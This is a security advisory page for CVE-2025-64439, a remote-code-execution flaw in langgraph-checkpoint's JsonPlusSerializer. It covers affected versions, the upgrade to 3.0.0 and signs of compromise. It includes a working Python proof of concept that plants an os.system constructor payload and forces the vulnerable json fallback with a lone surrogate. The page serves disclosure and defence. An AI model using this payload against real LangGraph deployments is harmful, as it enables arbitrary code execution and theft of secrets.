CVE-2025-64439: LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer
langgraph-checkpoint before 3.0.0 can run attacker-chosen Python when it loads a saved checkpoint. `JsonPlusSerializer` falls back to a "json" mode whose deserializer rebuilds custom objects from constructor-style data. An attacker who gets a payload persisted gets code execution on the next load. Upgrade to 3.0.0.
Published Nov 5, 2025 · Updated Nov 7, 2025 · Analysis Nov 1, 2026
What an attacker can do
JsonPlusSerializer in jsonplus.py is the default serializer for all LangGraph checkpointing. It normally uses msgpack. Before 3.0, if serialization failed on an illegal Unicode surrogate, it fell back to "json" mode. In that mode the deserializer accepts objects of the form {"lc": 2, "type": "constructor", "id": [...], "kwargs": {...}} and calls the named function at load time.
The advisory's proof of concept stores a state value containing "id": ["os", "system"] and a command, together with a node that returns a string holding \ud800. The surrogate forces the json fallback and saves the payload. The next graph.invoke on the same thread_id loads the checkpoint and runs the command, which wrote /tmp/pwnd.txt.
The attacker needs a way to get untrusted data into checkpoint state, such as user input stored in graph state, and the application must load that thread later. Applications that only persist trusted data carry far less risk. The impact is arbitrary code execution in the process that loads checkpoints, with its secrets, database access and model keys. The advisory also lists langgraph-api below 0.5 as vulnerable.
Who is affected
langgraph-checkpoint below 3.0.0, used through the default serializer or an explicit JsonPlusSerializer, in applications that let untrusted or user-supplied data reach checkpoints. That covers the SQLite, Postgres and in-memory savers, which all use the serializer. In langgraph-api, versions 0.5 and later are free of the flaw.
pip show langgraph-checkpoint
pip show langgraph-apilanggraph-checkpoint
- Ecosystem
- PyPI
- Affected
- < 3.0.0
- Fixed in
- 3.0.0
- Check
pip show langgraph-checkpoint
How to fix it
Upgrade to langgraph-checkpoint 3.0.0:
pip install --upgrade "langgraph-checkpoint>=3.0.0"The advisory says it works with langgraph>=0.3 with no code changes. The fix adds an allow-list for constructor deserialization, limiting id paths to module and class pairs that you pass when building the serializer, and deprecates saving payloads in "json" format. In langgraph-api, updating to 0.5 or later pulls in the patched checkpointer.
How to tell if you were hit
Inspect stored checkpoints for state values that contain "lc": 2 together with "type": "constructor" and an id such as ["os", "system"] or ["subprocess", ...]. In SQLite or Postgres checkpoint tables, look for rows serialized as json rather than msgpack, since that is the fallback path. Check inputs that contained lone surrogates such as \ud800. On the host, look for unexpected child processes or file writes from the Python process that runs the graph right after it resumes a thread.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.
If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.
Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.
If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.
Details
Affected file / component
By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.
When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.
---
Who is affected
This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:
- Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to"json"mode.
If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
Proof of Concept (PoC)
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State).
add_node("my_node", my_node).
add_edge("__start__", "my_node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
"attack": attack,
}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.
Internally, this exploits the following code path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized) # Executes os.system(...)
---
Fixed Version
The vulnerability is fixed in `langgraph-checkpoint==3.0.0`
Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
---
Fix Description
The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.
Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.
---
Mitigation
Upgrade immediately to langgraph-checkpoint==3.0.0.
This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.
In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.
Credited to joernchen.
Questions
- Is langgraph-checkpoint 3.0.0 enough to fix CVE-2025-64439?
Yes. The advisory names 3.0.0 as the fixed version. It adds an allow-list for constructor deserialization and deprecates saving in json mode.
- Do I need untrusted input to be exposed?
Yes. The attacker must get a payload persisted into a checkpoint, through user-supplied data in graph state. If your app stores only trusted data, the practical risk is lower.
- What about langgraph-api?
Version 0.5 or later requires the patched checkpointer, so those releases are free of the vulnerability.
References
Read for this analysis:
- https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5
- https://github.com/advisories/GHSA-wwqv-p2pp-99h5
- https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac
- https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
- https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
- https://nvd.nist.gov/vuln/detail/CVE-2025-64439
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More LangGraph vulnerabilities
All LangGraph entriesCVE-2026-118667
LangGraph: Unencoded identifiers in LangGraph SDK v3 streaming can redirect authenticated GET requests
medium4.3Oct 28, 2026CVE-2026-48775
LangGraph Checkpoint: Unsafe JSON deserialization in checkpoint loading
medium6.8Jun 25, 2026CVE-2026-28277
LangGraph checkpoint loading has unsafe msgpack deserialization
medium6.8Mar 5, 2026CVE-2026-27794
LangGraph: BaseCache Deserialization of Untrusted Data may lead to Remote Code Execution
medium6.6Feb 25, 2026
